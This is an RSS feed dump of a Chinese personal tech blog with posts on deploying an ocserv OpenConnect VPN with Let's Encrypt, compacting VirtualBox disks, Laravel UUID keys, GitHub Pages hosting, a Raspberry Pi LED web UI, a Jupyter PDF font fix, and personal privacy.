使用 ocserv 搭建企业级 OpenConnect VPN 网关并使用 Let's Encrypt 证书https://nova.moe/deploy-openconnect-ocserv-with-letsencrypt/Tue, 14 Aug 2018 15:59:09 +0000https://nova.moe/deploy-openconnect-ocserv-with-letsencrypt/AnyConnect 和 OpenConnect

本文于 2019-02-21 更新,修改了关于申请 SSL 证书的章节。

Wikipedia 上描述 OpenConnect 如下:

OpenConnect is an open-source software application for connecting to virtual private networks (VPN), which implement secure point-to-point connections.

It was originally written as an open-source replacement for Cisco’s proprietary AnyConnect SSL VPN client,[2] which is supported by several Cisco routers. As of 2013, the OpenConnect project also offers an AnyConnect-compatible server,[3] and thus offers a full client-server VPN solution.

可以简要地看出,OpenConnect 原本是由于 AnyConnect 有只能运行在 Cisco 设备上限制而开发出来的一个多系统支持的开源 VPN 实现方式,属于 SSL VPN,需要一个有效的 SSL 证书。

本文实行简单粗暴的原则,记录了一个 Ubuntu 服务器最小化搭建 ocserv(OpenConnect 服务端) 服务的过程,所以:不使用证书登录验证(使用用户名 + 密码组合),SSL 使用 Let’s Encrypt(而非网上许多文章所介绍的自签发)。

Why OpenConnect

可能有些小伙伴看到本文长度会问了,为什么要搞这么复杂?直接 ss-server 或者 OpenVPN 一键脚本安装不好么?

原因有三:

  • 我们需要的是安全内网访问,不是快速地绕过防火墙… 而且后期需要加入证书认证
  • OpenVPN 协议特征过于明显,虽然 AnyConnect 协议特征也十分明显,但是由于目前只有一些大厂在用,一般而言直接拨位与海外的 VPN 网关不容易受到干扰或受到的干扰较小
  • 对于例如 iOS/BlackBerry BBOS 系统而言,一般自带 AnyConnect 连接工具

本例中:

  • 一台全新的 Ubuntu 18.04 LTS(主要是考虑到 80 端口未被占用,给后文中获取 SSL 证书的方法提供可能)
  • 域名为:vpn.example.com,并且已经做好了解析到服务器 IP
  • 服务器 IP 为:1.2.3.4

2018-09-12 更新:如果 80 端口被占用了可以考虑使用 DNS Challenge 的方法获取 Let’s Encrypt 证书,相关步骤可以参考 《使用 Google Cloud Platform 的 Storage 托管静态站点并通过 Google CDN 加速》

安装 ocserv & 准备系统

网上许多方法都是通过手动编译源代码包的方式安装,然而现在至少对于 Debian 系的系统来说已经有了编译好的软件包了,详情见 Distribution Status,对于 Debian 系服务器来说(比如本例的 Ubuntu)直接一条指令即可(非常感谢维护这个包的:Aron Xu,Liang Guo 和 Mike Miller):

$ sudo apt install ocserv -y

之后我们需要打开系统的转发功能,在 /etc/sysctl.conf 中加入如下行:

net.ipv4.ip_forward=1

通过

$ sysctl -p

保存。

打开 NAT 功能:

# iptables -t nat -A POSTROUTING -j MASQUERADE

配置 Let’s Encrypt 证书

ocserv 需要 SSL 证书(用来加密连接流量,保证连接安全,放心,这一步不复杂),网上许多教程中使用的是自签发证书,方法复杂且容易被 MITM 攻击,好在现在有 Let’s Encrypt 可以免费为自己域名添加证书,本例中使用 certbot 来获取一个 Let’s Encrypt 证书。

下载certbot,方法很多,在本例中为:

$ sudo apt-get update
$ sudo apt-get install software-properties-common
$ sudo add-apt-repository ppa:certbot/certbot
$ sudo apt-get update
$ sudo apt-get install certbot

其他系统请参考 Certbot 官方网站


这一步比较 Tricky,请仔细阅读:certbot 获取 SSL 证书有多种方式,例如它可以在你机器上起一个临时的网页服务器,并且让自己的 Authority 来尝试连接临时服务器用来确认你机器的所有权,也可以通过 DNS 设置 TXT 记录的方式来验证,以下方式使用的是开一个临时服务器的方式来获取,如果希望通过 DNS 修改 TXT 记录的方式获取,请参考《使用 Google Cloud Platform 的 Storage 托管静态站点并通过 Google CDN 加速》一文中的“获取 SSL 证书章节”。

此外,有热心读者指出:ocserv 程序在安装后会使用 443 端口导致开启临时网页服务器的时候失败,读者给出的建议如下:

在进行 certbot 获取证书之前,先以管理员权限修改 /lib/systemd/system/ocserv.socket 配置文件,将其中的两个443端口号修改为其他未被占用的端口号后,再运行 certbot 即可,这样做的好处是,可以利用 certbot 的自动证书续期功能。

另外,/lib/systemd/system/ocserv.socket 中指定的端口号无需与 /etc/ocserv/ocserv.conf 中的端口号保持一致。在使用 OpenConnect 或者 AnyConnect 客户端时,使用在 /lib/systemd/system/ocserv.socket 中指定的端口号即可。

非常感谢这位读者的邮件,欢迎大家在测试的时候进行尝试~


$ certbot certonly

会看到:

Saving debug log to /var/log/letsencrypt/letsencrypt.log

How would you like to authenticate with the ACME CA?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1: Spin up a temporary webserver (standalone)
2: Place files in webroot directory (webroot)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Select the appropriate number [1-2] then [enter] (press 'c' to cancel):

由于我们仅仅是想要一个证书,这里选择 1,让 certbot 来搞定证书获取的过程,之后输入自己的域名,比如本例中的 vpn.example.com ,稍等片刻应该可以看到类似如下的输出(记住证书存放的地址,后面会用到):

IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at:
   /etc/letsencrypt/live/vpn.example.com/fullchain.pem
   Your key file has been saved at:
   /etc/letsencrypt/live/vpn.example.com/privkey.pem
   Your cert will expire on 2018-11-11. To obtain a new or tweaked
   version of this certificate in the future, simply run certbot
   again. To non-interactively renew *all* of your certificates, run
   "certbot renew"

配置 ocserv

默认安装好后在/etc/ocserv/下有一个很长的配置文件ocserv.conf,着重注意以下配置字段:

# 登录方式,使用用户名密码登录,密码文件稍后生成
auth = "plain[/etc/ocserv/ocpasswd]"

# 允许同时连接的客户端数量
max-clients = 4

# 限制同一客户端的并行登陆数量
max-same-clients = 2

# 服务监听的 TCP/UDP 端口(默认为 443)
tcp-port = 443
udp-port = 443

# 自动优化 MTU,尝试改善网络性能
try-mtu-discovery = true

# 服务器证书与密钥,就是上一步中生成的证书和私钥的位置
server-cert = /etc/letsencrypt/live/vpn.example.com/fullchain.pem
server-key = /etc/letsencrypt/live/vpn.example.com/privkey.pem

# 服务器域名
default-domain = vpn.example.com

# 客户端连上 vpn 后使用的 DNS,这里使用 Cloudflare 的 1.1.1.1
dns = 1.1.1.1

# 注释掉所有的 route 和 no-route,让服务器成为 gateway
#route = 192.168.1.0/255.255.255.0
#no-route = 192.168.5.0/255.255.255.0

# 启用 Cisco 客户端兼容性支持
cisco-client-compat = true

由于使用用户名密码登录,我们需要生成一个密码文件,指令如下:

$ ocpasswd -c /etc/ocserv/ocpasswd <用户名>

此时会要求你输入两边密码,如果需要再添加用户只需重复上述指令即可。

配置好后启动 VPN:

$ ocserv -c /etc/ocserv.conf

确认已经开启:

root@vpn:/etc/ocserv# netstat -tulpn | grep 443
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      1987/ocserv
tcp6       0      0 :::443                  :::*                    LISTEN      1987/ocserv
udp        0      0 0.0.0.0:443             0.0.0.0:*                           1987/ocserv
udp6       0      0 :::443                  :::*                                1987/ocserv

Connecting Through VPN

配置好 VPN 后让自己的所有服务器全部拨上 VPN:

# openconnect https://vpn.example.com/

对于个人用户访问,这里以黑莓 Passport 为例(请无视那个现在并不存在企业名称),截图如下:

拨通后可以看到自己的内网 IP :

然后,开始在 VPN 的保护下畅游自己的大内网吧~

Off-Topic

如果直接用浏览器去访问 VPN 网关(比如本例中:https://vpn.example.com)的话,返回的是如下 HTML 内容:

<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="vpn" type="auth-request">
<version who="sg">0.1(1)</version>
<auth id="main">
<message>Please enter your username.</message>
<form method="post" action="/auth">
<input type="text" name="username" label="Username:" />
</form></auth>
</config-auth>

此外如果开启了 ocserv 之后在 sudo 的时候卡住并提示:“sudo: unable to resolve host vpn: Resource temporarily unavailable” 的话,着重关注一下自己的/etc/hosts文件中是否包含一行:

127.0.0.1	localhost

参考连接

  1. 使用 ocserv 搭建 Cisco Anyconnect 服务器
  2. Setup OpenConnect VPN Server for Cisco AnyConnect on Ubuntu 14.04 x64
]]>
压缩 VirtualBox 虚拟卷文件的方法及原理https://nova.moe/compact-virtualbox-vdi-files/Wed, 01 Aug 2018 14:42:14 +0000https://nova.moe/compact-virtualbox-vdi-files/作为一个 Linux 开发者,部分程序无法或者我们不愿意让它们在自己的系统上运行时,我们会用到虚拟机,比如我使用 VirtualBox,并且安装了许多基于 XP 的虚拟机用来跑各类不可信任的国产软件,但是随着使用时间的增加,会发现一个奇怪的现象,那就是从虚拟机内部 (Guest OS) 看到的大小和实际占用磁盘的大小相差越来越大。

这样对于虚拟机文件的备份、存储和转移而言就非常不利,所以我们需要对 VDI 文件进行 “压缩”.

Method

首先简要提一下网上都能查到的且可用的方法,对于我这种情况 (Host 为 Linux,Guest 为 Windows) 的用户而言其实很简单,就以下几步:

  1. 首先在虚拟机中使用系统自带的磁盘碎片清理工具清理磁盘碎片
  2. technet.microsoft.com/en-us/sysinternals/bb897443.aspx 下载个 SDelete
  3. 在 Guest OS 中 sdelete.exe c: -z 来将 C 盘空余空间清零(我就一个 C 盘)
  4. 虚拟机关机,在外部 Host OS 中执行 vboxmanage modifymedium --compact /path/to/vbox.vdi 对 vdi 文件进行清理

如果你的系统配置和我的不一样的话,看一下文末的第二个参考链接很快就能知道该如何做了。

In-Depth

方法简单易用,但是仅仅可用肯定不行啊,我们得知道为什么要那么做,以及这个方法可用的原因,首先我们看看第 4 个指令 --compact 的含义,重点部分已加粗:

The –compact option can be used to compact disk images, i.e.remove blocks that only contains zeroes. This will shrink a dynamically allocated image again; it will reduce the physical size of the image without affecting the logical size of the virtual disk. For this operation to be effective, it is required that free space in the guest system first be zeroed out using a suitable software tool.

Attempt with SDlete and BinImage

我们先看一下 SDelete 前后的磁盘碎片分析

似乎从碎片上看不出什么不同,遂决定 --compact 一下后对文件进行分析

由于文件太大我的电脑内存不够,不能直接分析整个文件,所以 将 vdi 文件进行切片,使用指令

# compact 前
split --bytes=10M /path/to/VM.vdi /tmp/before/thunder-
# SDelete + compact 后
split --bytes=10M /path/to/VM.vdi /tmp/after/thunder-

此时使用 teaearlgraycold/binimage 对随意一个文件,本文使用 thunder-cl 分卷进行可视化:

./binimage-linux-amd64 before/VM-cl before.png --width=1920

观察 thunder-cl 分卷在 SDelete+compact 前后的图片

Before

After

从图片中我们可以简要看出,在 SDelete 并且 compact 之后文件中的洞 (Zerod-Block,也就是纯黑色的部分) 多了一些,不过这依然不能揭示具体的原理,我们换个角度试试~

Disk image files

For more flexible storage management, use a dynamically allocated image. This will initially be very small and not occupy any space for unused virtual disk sectors, but will grow every time a disk sector is written to for the first time, until the drive reaches the maximum capacity chosen when the drive was created. While this format takes less space initially, the fact that VirtualBox needs to expand the image file consumes additional computing resources, so until the disk file size has stabilized, write operations may be slower than with fixed size disks. However, after a time the rate of growth will slow and the average penalty for write operations will be negligible.

通过 VirtualBox 官方的介绍我们得知,对于一个 “dynamically allocated image”,或者说动态的磁盘卷(也是一个稀疏文件),在创建之初占用的空间会非常小,但是每当有磁盘的写入操作的时候,整个卷文件的大小就会增加,换言之,只要在 Guest OS 中有文件 IO 操作,无论是移动文件还是写入新文件,都会导致整个卷文件大小增加,且不可直接逆转,此外,对于动态分配的磁盘卷来说,当达到了它的最大设置容量之后,写入速度会变得比固定大小的卷要慢,估计是整理卷文件前面部分的可以被释放的空间并写入新的数据。

对于稀疏文件的压缩,通常采用的是打洞的办法,由于我不熟悉那个领域,这里就不展开了,有兴趣的读者可以参考第四个参考链接或自行 Google.

Conclusion

通过本文我们可以简要得出一些在使用 VM 上的建议:

  1. 如果磁盘空间足的话,直接使用固定大小的虚拟卷可以带来性能的提升和空间的确定性
  2. 如果使用了动态分配卷且用的是 Windows 作为 Guest OS 的话,记得经常在 Guest OS 中进行磁盘碎片整理
  3. 备份虚拟机文件前要 compact 一下,不过不要想着压缩,VM 文件熵普遍很大,压缩仅仅是浪费时间
  4. 有钱且不担心安全问题的话还是选择 Mac 吧,常用软件支持太多了,又有着很接近 Linux 的玩法

References

  1. Chapter 8. VBoxManage
  2. How to compact VirtualBox’s VDI file size?
  3. virtual box vdi takes up much more room than actual size
  4. 用 fallocate 进行" 文件预留 “或” 文件打洞 “
]]>
Laravel 使用 UUID 作为用户表主键并使用自定义用户表字段https://nova.moe/laravel-use-uuid-as-primary-key-with-custom-authentication-fields/Tue, 31 Jul 2018 12:44:14 +0000https://nova.moe/laravel-use-uuid-as-primary-key-with-custom-authentication-fields/最近在用 Laravel 5.6 做一个项目,涉及到用户表的自定义字段和 UUID 作为主键,各种 Google 花了我很长时间,所以本篇文章用来记录一下实现思路,以防后人踩坑。

Schema

php artisan make:auth 出来的用户表使用的自增的 id 作为主键,验证时使用 email 字段作为用户的 “登录名”,然而我并不希望使用一个自增的 id,而是使用 UUID 作为用户主键,user_email 作为 “登录名”,user_password 作为保存的密码。

UUID

What’s UUID

对于刚入学时候的萌新开发者来说设计出来的啥数据表都是一个自增 id 主键,根本就不知道 UUID,现在使用上了 UUID 就顺便科普一下啥是 UUID 以及用它有什么好处。

UUID 全称是 Universally Unique Identifier,是一个 128 位的标识符,对外显示是使用 32 位 16 进制的 8-4-4-4-12 位数形式,类似:123e4567-e89b-12d3-a456-426655440000,有一个在线生成 UUID 的网站 Online UUID Generator,读者有兴趣不妨去玩玩~

一般而言主流使用的是 Version 1 和 Version 4 的 UUID,前者使用电脑硬件 MAC 地址,时间戳作为种子,而后者则是完全随机的一个生成过程。

UUID Collision

既然使用 UUID 作为主键,虽然不像一个自增的 id 那样看上去那么 low,但是还是要考虑碰撞概率问题,毕竟主键撞一下还是爽歪歪的。

UUID 使用的是 122 位的熵,两个 UUID 撞上的概率大约为 10^-37,如果需要找到 p 个碰撞的 UUID 的话,至少需要生成的个数可以由以下公式得出:

所以从理论上来说在使用 UUID 的时候一般不会发生碰撞的事情,但是个人感觉碰撞概率的大小要取决于用的软件,比如 OpenSSL 版本之类的。

Why UUID

使用 UUID 有什么好处呢?先说说表面上的

  1. 隐藏你的真实用户数 举个例子:如果用户看到你的 URL 类似 submission/23/info 会怎么想?哦,原来这个平台也就这么点用户数,我才排到 23 呢,而如果使用了 UUID,则可能会是 submission/840142f2-b248-461c-b16d-2589d03ea028/info 就完全不会表现出具体的一个排位数量情况,当然,实际实用的时候应该还是 SHA256 然后截取个前 16 位比较看上去舒服一些,类似 /submission/2e555c22d95bae14/info,不过这个就不在本文探讨范围内了。

然后是实质上的

  1. 对于大型的系统而言,用 UUID 标识一些内容对于统一化而言非常好,类似商品的条形码,如果使用自增的主键的话,长短不一,看上去和 QQ 号一样没品位。

  2. 对于分布式系统而言,UUID 可以保证防止出现 id 碰撞,符合分布式系统 CAP 原则的 C(Consistency,强一致性).

数据结构老师告诉我们,没有任何一种数据结构是全场景最优的,所以这里也要提一下使用 UUID 作为主键的缺点

  1. UUID 往往是使用字符串存储,查询的效率比较低。
  2. 不符合 MySQL 官方建议的:If the primary key is long, the secondary indexes use more space, so it is advantageous to have a short primary key.

综上,我们可以很容易想到 UUID 在一些大量的,不需要排序,需要统一化长度的场景中比较适用,如 OJ 的每个用户的提交,商品的唯一标识码等。

Use UUID as PK

如果不考虑用户表(因为 Laravel 自带的 Auth 很大程度上依赖了自带的数据库表字段)的话,我们要使用 UUID 作为一个表的主键其实非常容易,大致思路如下(使用 webpatser/laravel-uuid

Install UUID

安装 UUID 类

$ composer require webpatser/laravel-uuid

config/app.php 中声明这个类,加入如下行:

'Uuid' => Webpatser\Uuid\Uuid::class,

That’s it! 在需要 UUID 字符串的地方 $uuid = Uuid::generate(4)->string; 就好了~

UUID in Laravel

如果你需要在数据表中使用 UUID 作为主键的话,有以下几个事情要做:

  1. 数据库 migration 中声明你的主键为 UUID 类型,如下:
$table->primary('new_pk');
$table->uuid('new_pk');
  1. Model 中需要声明不使用自增的主键和新的主键字段名,如下:
protected $primaryKey = 'new_pk';
public $incrementing = false;
  1. 为了能在每次执行 create 操作时可以自动创建 UUID 的主键,我们可以重写一下 boot 函数,其中 {$model->getKeyName()} 是用来获取你的主键名称的,在 Model 中:
public static function boot()
{parent::boot();
	self::creating(function ($model) {$model{$model->getKeyName()} = (string) Uuid::generate(4);
		});
}

记得在对应的 Model 顶部加入:

use Webpatser\Uuid\Uuid;

这样的话,我们的数据表在新写入数据的时候便会自动生成一个 UUID 作为表的主键了。

UUID in User Table

如果在用户表中使用了 UUID 的话,事情就会稍微麻烦一点,而对于我的需求 (用户密码字段名称也改了) 的话,就更加麻烦一些了,除了上述操作以外还需要:

  1. 定义登录时的 “登录名” 为你自己的字段,比如我用的 user_email,在 app/Http/Controllers/Auth/LoginController.php 中加入如下:
public function username()
{return'user_email';}
  1. 定义登录时的使用的密码字段,比如我使用的是 user_password,在 User.php 这个 Model 中:
public function getAuthPassword()
{return $this->user_password;
}
  1. resources/views/auth/login.blade.php 中将 email 相关全部改为新的 “登录名”,对于我的需求就是改成 “user_email”.

以上。

Reference

  1. Laravel: How can i change the default Auth Password field name
  2. Setting up UUIDs in Laravel 5+
  3. Universally unique identifier - Wikipedia
]]>
使用 GitHub Pages 托管静态网站https://nova.moe/static-web-hosting-on-github/Wed, 25 Jul 2018 11:10:52 +0000https://nova.moe/static-web-hosting-on-github/本文灵感的来源是我校 Web 相关课程作业提交的难题,学生提交的大量的 HTML 文件没有一个合适的托管方案,导致每到收作业的时候数以百计的压缩包丢过来对于教师而言是一个很大的难题,在需要为之打分的时候尤其如此,在我开发出相关平台前,还是推荐使用 GitHub 暂时做一个托管和展示的平台,虽然我知道:

  1. 对于防止大量压缩包的问题可以通过学生一个个当场答辩的方式解决
  2. 这么做可能会给 GitHub 带来很多垃圾代码

但是对于一些初学者而言,这么做可以在一个比较安全的环境下学习 Git,而对于老师而言,在绝大多数同学不会 Git 的情况下,会 Git 的同学也可以作为一个加分项嘛。

本文假设:

  1. 你希望通过 GitHub 托管你的静态页面
  2. 你有自己的域名 (非必需)
  3. 在 2 的基础上你懂得一些基本的 DNS 的相关概念 (非必需)

此外,由于受众【不是】熟悉 GitHub 的同学,所以可能看上去会比较啰嗦。

Prerequisites

网上有很多关于在 GitHub 上面托管的文章,但是看了一下很少有在 Github 切换 CDN 之后的文章,简单来讲,那次更新的部分如下:

  • GitHub Pages 原生自动为自定义域名申请 Let’s Encrypt 证书了,所以网上通过 CloudFlare 减速 CDN 给自己自定域名加 HTTPS 的方法就没有意义了,毕竟原生的速度更快还不存在 Half-baked SSL 的问题
  • GitHub Pages 不再使用 GitHub 自己的 IP,而是有 Fastly CDN 的 4 个 IP:185.199.108~111.153,网上关于将域名解析到某个 IP 的方式也已经没有价值了(不过好在这类文章少)

GitHub Stuff

GitHub 并不提供一个像 FTP 一样的 “静态空间”,而是提供一个个 Git 仓库,GitHub Pages 功能便是将仓库中的 HTML 文件提供对外访问的功能,和大多数的服务器默认配置一样 ** 默认首页是 index.html,默认 404 页面是 404.html**

首先我们创建一个仓库吧,公有私有都是可以的,名字随意,比如我已经创建了一个叫 cqjtu.online.landing 的仓库:

由于我这个是已经创建好了的,所以界面细节上可能有点不太一样,不过没有任何问题。

然后把我们的文件给 “传” 到 GitHub 上面去:

mkdir website # 在自己电脑上创建一个文件夹 (名字随意)
cd website
git init
git config user.name "<GitHub 用户名>"
git config user.email "<你登录 GitHub 的邮件地址>"
git remote add origin <GitHub 仓库的地址,比如我的就是 `https://github.com/n0vad3v/cqjtu.online.landing`>
# 此处将你的 HTML 文件放到这个文件夹中,方法不限
echo -n "<你的域名>" > CNAME # 如果你需要自己的域名的话需要这一步,否则可以省略
git add .
git commit -m "Update Website" # 在本地 Commit
git push origin master # 提交到 GitHub 上

接下来在上面的 Setting 中找到 GitHub Pages 那一栏,启用 GitHub Pages,默认使用的 master 分支,不过那暂时不重要,底下是否使用自己的域名视个人情况而定,如果你有自己的域名,可以写上 (** 注意,带 www 的和不带 www 的是两个东西哦,比如我写的是 cqjtu.online,那么一般来讲 www.cqjtu.online 就与这个无关了 **).

好了,GitHub 这边已经完成了,如果不需要自定义域名的话你就可以通过 <你的用户名>.github.io / 仓库名 访问了,什么?你不想要那 “/” 后面的部分?那把仓库改名为 <你的用户名>.github.io 吧。

DNS

如果你有域名并且希望用自己的域名的话,这一步也很简单,做一个对应的 CNAME 记录到 <你的用户名>.github.io 即可,举几个例子 (我的用户名为 n0vad3v):

  • 假设上面写的是 cqjtu.online,那么做一个 @ 的 CNAME 记录到 n0vad3v.github.io,从 CloudFlare 面板中看上去如下:

  • 假设上面写的是 www.cqjtu.online,那么做一个 www 的 CNAME 记录到 n0vad3v.github.io

Off-Topic

顺便澄清一些误区啊,GitHub 对于网站托管还是有一些限制的,首先它并不像网上说的是无限流量的:

而是:

GitHub Pages source repositories have a recommended limit of 1GB(仓库大小不建议超过 1G) . Published GitHub Pages sites may be no larger than 1 GB. GitHub Pages sites have a soft bandwidth limit of 100GB per month(每个月流量不超过 100G). GitHub Pages sites have a soft limit of 10 builds per hour(如果有自动构建的话,每小时不超过 10 次).

虽然是 soft limit,偶尔超一下没什么问题,但是如果超得过分离谱或者你的站被 DDos 的话,还是可能收到来自 GitHub 的邮件,如果你有什么容量很大或者流量很大的网站需要托管的话,可以考虑邮件 联系 我,哈哈~

另外,GitHub Pages 可以作为一个 “免费的静态资源 CDN” 来用,比如你放一些 css,js 或者图片 (别搞盗版权图片,会被 DMCA) 在上面在某些层面上可以用来加速,当然如果仅仅是这个需求的话,普通的 GitHub 仓库 + rawgit.com 似乎会更加便捷一些 (就是被墙了而已…)

最后,合理使用 GitHub,Happy Hacking!

]]>
用树莓派快速搭建一个有 WebUI 的 LED 灯光控制https://nova.moe/simple-rpi-led-webui/Sun, 08 Jul 2018 12:03:00 +0000https://nova.moe/simple-rpi-led-webui/谢邀!

Allen 同学一直说想做智能家居方向的东西,但是半个学期过去了也不见他有什么起色,遂从他那儿偷了两根杜邦线,自己来玩玩。

连接信息:GPIO(4) -> 电阻 -> LED -> GPIO(5)(GND) 用 PHP 弄了个简易的 WebUI,按了按钮之后就调用同目录下的 Python 脚本 led4on.py

Python GPIO Controller

led4on.py

from gpiozero import LED
from signal import pause
from time import sleep

l = LED(4)
l.on()
pause()

WebUI

index.php 部分代码:

<div class="container">
        <h1 class="m-100">RPI</h1>
        <hr>
<form action="index.php"method="post">
    <input type="hidden"name="status"value="on"class="form-control">
    <button class="btn btn-lg btn-primary btn-block"input type="submit"> 开灯 </button>
</form>
<br>
<form action="index.php"method="post">
    <input type="hidden"name="on"value="off"class="form-control">
    <button class="btn btn-lg btn-primary btn-block"input type="submit"> 关灯 </button>
</form>
<br>
<form action="index.php"method="post">
    <input type="hidden"name="on"value="blink"class="form-control">
    <button class="btn btn-lg btn-primary btn-block"input type="submit"> 闪!</button>
</form>
<?php
if($_POST['status'] =="on")
{$tmp = `python3 led4on.py`;}
else if($_POST['status'] =="off")
{$tmp = `python3 led4off.py`;}
else if($_POST['status'] =="blink")
{$tmp = `python3 led4blink.py`;}
?>
</div> <!-- /container -->

这样就实现了一个非常非常简易的(且 Broken)的 IoT 设备了。 已知问题:

  • l.on() 之后灯只会闪一下,如果加了 pause() 的话脚本就会挂起并且没法正常处理关灯的指令,不过仅仅是一个 PoC 而已,暂时还不需要考虑这么多。
  • 设备必须再一个局域网中,没有中间设备中转,如果需要真远程控制的话还是需要一台有公网 IP 的服务器。

这简直一点技术含量都没有啊,Allen 你平时在做什么…

]]>
修复 Jupyter Notebook 导出 PDF 中文无法显示的问题https://nova.moe/fix-jupyter-export-pdf-cjk-display-problem/Wed, 27 Jun 2018 20:31:05 +0000https://nova.moe/fix-jupyter-export-pdf-cjk-display-problem/对于写实验报告的需求,我一直使用的 Jupyter Notebook,但是在导出为 PDF 的时候经常出现问题,首先如果使用自带的 PDF Export 的话,会出现中文无法显示的问题,截图如下:

但是如果使用 Firefox 自带的 Print to file 通过 Print 自带预览页面的话,会出现奇怪的问题 (页面断开,出现空白页面,文字显示不全),截图如下:

这个是自带的 Preview 这个是 Print 出来的效果

参考了网上的资料并结合 我自己的配置 情况来看,在我的电脑上只需要修改 /usr/lib/python3.6/site-packages/nbconvert/templates/latex/article.tplx 文件即可,在原有的 \documentclass[11pt]{article} 下方加入两行 (当然,记得安装相关的包,可以参考我的配置方式):

\documentclass[11pt]{article}
\usepackage{xeCJK} % 引入之前安装的 xecjk 包
\setCJKmainfont{SourceHanSansCN-Light}

参考资料

]]>
如何保护我们的隐私——我们能相信谁https://nova.moe/how-to-protect-privacy-who-we-can-trust/Fri, 15 Jun 2018 19:19:27 +0000https://nova.moe/how-to-protect-privacy-who-we-can-trust/我们进入了互联网时代后,信息泄漏变得越来越普遍,可能此时此刻你的个人信息已经被掌握在各式各样的人中并且随时可以用来给你带来灾难。而关于如何保护自己的隐私现在网络上可以找到很多优秀且精辟的文章 (或 ZhiHu 回答),由于我并不是一个安全从业者,出于不重复发明轮子的思路考量,我尝试分部分地从各个角度来讨论这件事情。

在考虑如何按照网上的回答构建自己的假身份,加密网盘内容,删社交网络动态前,我们首先需要考虑的一个问题是,我们能相信谁? 因为只有系统地了解了信息泄漏的各个层次后我们才可能完美的防御,否则胡乱地按照某些方法照做的话达不到我们希望的效果。

攻击面

首先我们来考虑攻击面 (Attack Surface) 的概念,设想有这么个场景: 假设我有一个女朋友 (实际上我没有),且这个女朋友怀疑我和其他女生有不一般的关系想找到相关证据,那么她有多少途径? 其中 “途径” 就是这一部分要聊的攻击面的概念,假设我用 Telegram 联系其他女生,为了方便起见,我在电脑和安卓手机上都登录了 Telegram,对于女朋友而言她就至少有两种方式可以得到我 Telegram 的聊天记录:手机和电脑,如果我有更多的设备 (比如还有个平板) 的话显然途径就更多,稍微专业点来说就是:攻击面更广。 一般来说攻击面是符合木桶效应的,我的电脑有 BIOS 密码,后盖开启检测,硬盘被拆卸检测,基于 Luks 的全磁盘加密 (FDE),还有一个 32 位长的系统开机密码,而我的手机呢?就只有一个我和 (并不存在的) 女朋友都知道的 Pattern(就是那个 9 个点画图案的那个) 解锁,如果你是那个女朋友,你会选择哪一种方式来找出聊天记录呢?

简单来说,攻击面越广,就越容易被攻破,攻击面的安全性 ** 不是 ** 防御最强的部分,而是防御最弱的部分。

威胁来源

有了攻击面的概念后我们就可以来细数一下对于 “隐私泄漏” 而言,我们的被攻击面有哪些呢?出于省事起见,随意引用几个网上的答案 (案例):

就收到个包裹,是你的名字,是你的电话,是你的家庭住址,寄信人是你孩子的地址和名字,到付。 所有家里有车的人几乎都会不间断的收到保险推销、二手车置换和其他相关的骚扰电话,显然是车管所或者保险公司把你的信息泄漏了 有一天去看房子因为确实有些动心所以留了电话给中介,结果是接下来的一个多月里每天都接到形色男女的问候电话,内容有介绍房子、投资商铺、境外消费、朋友被抓、老乡追债,以及几十个被标记为诈骗的未接电话。

从上面回答来看,我们不能相信:买房中介,考研机构,因为他们会主动卖掉我们的信息,我们也不能相信车管所 (假定我们善意地推定车管所的信息是被骇客门偷走后卖给保险公司的),因为他们的信息会丢。 这样来看我们至少就有两类机构不可相信,一类是会主动卖我们的,除了上述以外还有一些不入流的聊天工具 (某些用过的人应该知道),留学机构,要求填自己信息的广告,某些你填了信息就给你送礼物的购物平台啊之类的,另一类是自身安全手段做的不够好的,除了上述以外,还有最近爆出来的 Acfun,之前的 12306,163 啥的 (所以并不一定是大厂都可信呐)…

然而除了这些之外其实还有很多的地方是不可信任的,或者说是可以把你的隐私信息暴露给不应该暴露的地方的,就比如你在 QQ 空间中随意发的一张在阳台上的自拍好了,暴露了多少信息各位读者可以自行估量…

总有一天,会有一个人进入你的空间看完你所有的说说,读完你人人上的所有状态,翻完你所有的微博。因为他知道参加不了你以前的生活,但他想更好的进入你现在和以后的生活,因为爱你,所以会补齐他不曾参与过的你的过去,他坚信,时间会告诉你,谁会一直爱你…

我们能相信谁?

简单来看其实我们并没有什么是可以相信的了,各个社交平台上的主动隐私泄漏,注册的网站被爆库的被动泄漏 (挡都挡不住),这个世界上恶意的东西实在太多太多,如果为每个威胁都配置一个防御方案的话,操作起来太累,人也容易精分,不如反其道而行之,看看我们能相信什么,剩余的不能相信部分的使用一个同一个规则应对。

我们能相信谁呢?或者说,我们把个人信息主动放在哪些地方不会被泄漏出去呢? 要知道绝对的安全是不存在的,所以我们可以根据泄漏的概率对这些泄漏源进行划分:

0 级

  • 自己 只存在于自己大脑中的信息是最保险的

1 级

  • 银行 我知道很多人收到过来自银行的推销短信,但是不可否认的是,国有银行应该是目前最规矩的在线业务服务商之一,他们受着很多法律的监管,一般而言不会把客户信息给第三方
  • 父母

2 级

但是如果仅仅这么说的话其实是没有任何可操作能力的,因为如果想按照以上分类将自己的信息依次给出的话,前提是我们的信息目前仅仅在自己手中,而作为一个经常访问互联网的人我们一定 ** 已经留下了 ** 许多个人信息,换言之,攻击面异常地广,这个时候我们就能看到网上一些建议比如删掉各种信息和注销账号之类的建议了,但在此之前我们最好整理出一个威胁模型 (Threat Model) 出来,这样可以系统地完成隐私信息的回收和保护。

出于篇幅和文章专一性的考虑,建立威胁模型的内容将在之后的文章中给出。

]]>
我和 YunLoad 的故事——YunLoad 开发上线 5 个月以来的所见所闻所想https://nova.moe/story-of-yunload/Sun, 20 May 2018 11:56:45 +0000https://nova.moe/story-of-yunload/本来想的是在 YunLoad 成功处理了 1K 次提交的时候写一篇文章来对 YunLoad 的诞生和发展进行一个回顾,但是那段时间现实生活中遇到了诸多不愉快的麻烦事,便一直拖着,直到最近稍微空闲一点才得以有空可以写点 YunLoad 的故事。

YunLoad 从 2017 年 12 月开始构建,第一个版本发布于 2018 年 2 月 18 日。作为一个统一的作业提交平台,旨在将作业的提交过程便捷化,减少教师和同学在专有平台提交作业时不得不面对的繁琐步骤,缓解文件庞杂错乱等问题。网站地址:https://yunload.org

